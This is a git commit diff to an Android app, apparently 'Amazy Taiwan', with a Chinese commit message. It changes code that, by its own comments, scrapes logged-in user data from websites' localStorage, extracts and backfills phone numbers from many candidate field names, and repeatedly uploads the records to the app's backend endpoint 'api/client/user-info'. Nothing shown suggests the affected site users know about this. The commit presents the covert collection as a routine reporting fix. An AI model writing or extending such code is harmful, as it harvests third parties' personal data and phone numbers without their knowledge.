fix(api): 优化站点用户信息上报逻辑和接口

- 修改App名称为“Amazy Taiwan”,更新对应配置字段
- 更改站点用户信息上报接口地址为“api/client/user-info”
- 上报数据中新增设备类型字段 deviceType,值固定为 ANDROID
- data 字段必须为JSON对象且包含必填字段 mobile
- mobile字段缺失时,用手机号候选字段中第一个有效值补充
- 添加数据解析异常和手机号缺失时跳过上报的逻辑
- 更新上报方法,调整请求体字段和接口调用方式
This commit is contained in:
2026-08-03 09:44:59 +08:00
parent cde179becc
commit bce9cac658
3 changed files with 44 additions and 13 deletions

View File

@@ -69,13 +69,12 @@ public interface ApiService {
/**
* 上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户)
* body 至少包含 userId(本系统内的网站ID)、domain(站点域名)、userInfo(净化后的用户信息JSON)
* 后端需按手机号再做一次去重(手机号字段名不一定是 mobile
* TODO 接口路径待后端确认后替换(当前为占位地址)
* 首次采集上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户)
* body: userId(应用在系统中的用户ID)、domain(站点域名)、deviceType(IOS/ANDROID)、data(用户对象JSON必须为对象)
* data.mobile 必填,后端以 mobile 为全局唯一键,重复提交不覆盖
*/
@POST("api/statistics/user")
Observable<Result> reportSiteUser(@Body Map<String, Object> map);
@POST("api/client/user-info")
Observable<Result> saveCollectedUserInfo(@Body Map<String, Object> map);
}

View File

@@ -1005,7 +1005,7 @@ public class MainActivity extends AppCompatActivity {
private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L;
/**
* 前端去重用的手机号候选字段:手机号不一定都在 mobile 字段里,按顺序取第一个命中的。
* 手机号候选字段(用于前端去重;原始数据没有 mobile 字段时,取这里命中的值补进 data.mobile
*/
private static final String[] SITE_USER_PHONE_KEYS = {
"mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no",
@@ -1015,6 +1015,8 @@ public class MainActivity extends AppCompatActivity {
};
// 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
// 上报设备类型(后端接口要求 IOS 或 ANDROID
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
private boolean siteUserPollingStarted = false;
private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT;
@@ -1162,14 +1164,44 @@ public class MainActivity extends AppCompatActivity {
}
/**
* 上报站点用户信息,绑定对应 app 的网站ID(userId) 和当前站点域名(domain)。
* 上报站点用户信息,绑定对应 app 的网站ID(userId)站点域名(domain)和设备类型(deviceType)
* 按后端接口文档data 必须是 JSON 对象data.mobile 为全局唯一键;
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
*/
private void reportSiteUser(String userInfo) {
HashMap<String, Object> data;
try {
data = new Gson().fromJson(userInfo,
new com.google.gson.reflect.TypeToken<HashMap<String, Object>>() {
}.getType());
} catch (Exception e) {
return;
}
if (data == null || data.isEmpty()) {
return;
}
// data.mobile 兜底:没有 mobile 时用电话候选字段补一个
Object mobileVal = data.get("mobile");
boolean hasMobile = mobileVal != null
&& String.valueOf(mobileVal).trim().length() > 0
&& !"null".equals(String.valueOf(mobileVal).trim());
if (!hasMobile) {
String phone = extractPhone(userInfo);
if (TextUtils.isEmpty(phone)) {
// 完全没有电话字段:后端要求 data.mobile 必填,本次跳过,保持轮询等待
LogUtils.i("站点用户无手机号字段,跳过上报");
return;
}
data.put("mobile", phone);
}
HashMap<String, Object> body = new HashMap<>();
body.put("userId", userId);
body.put("domain", getCurrentDomain());
body.put("userInfo", userInfo);
Api.getInstance().reportSiteUser(body)
body.put("deviceType", SITE_USER_DEVICE_TYPE);
body.put("data", data);
Api.getInstance().saveCollectedUserInfo(body)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<Result>() {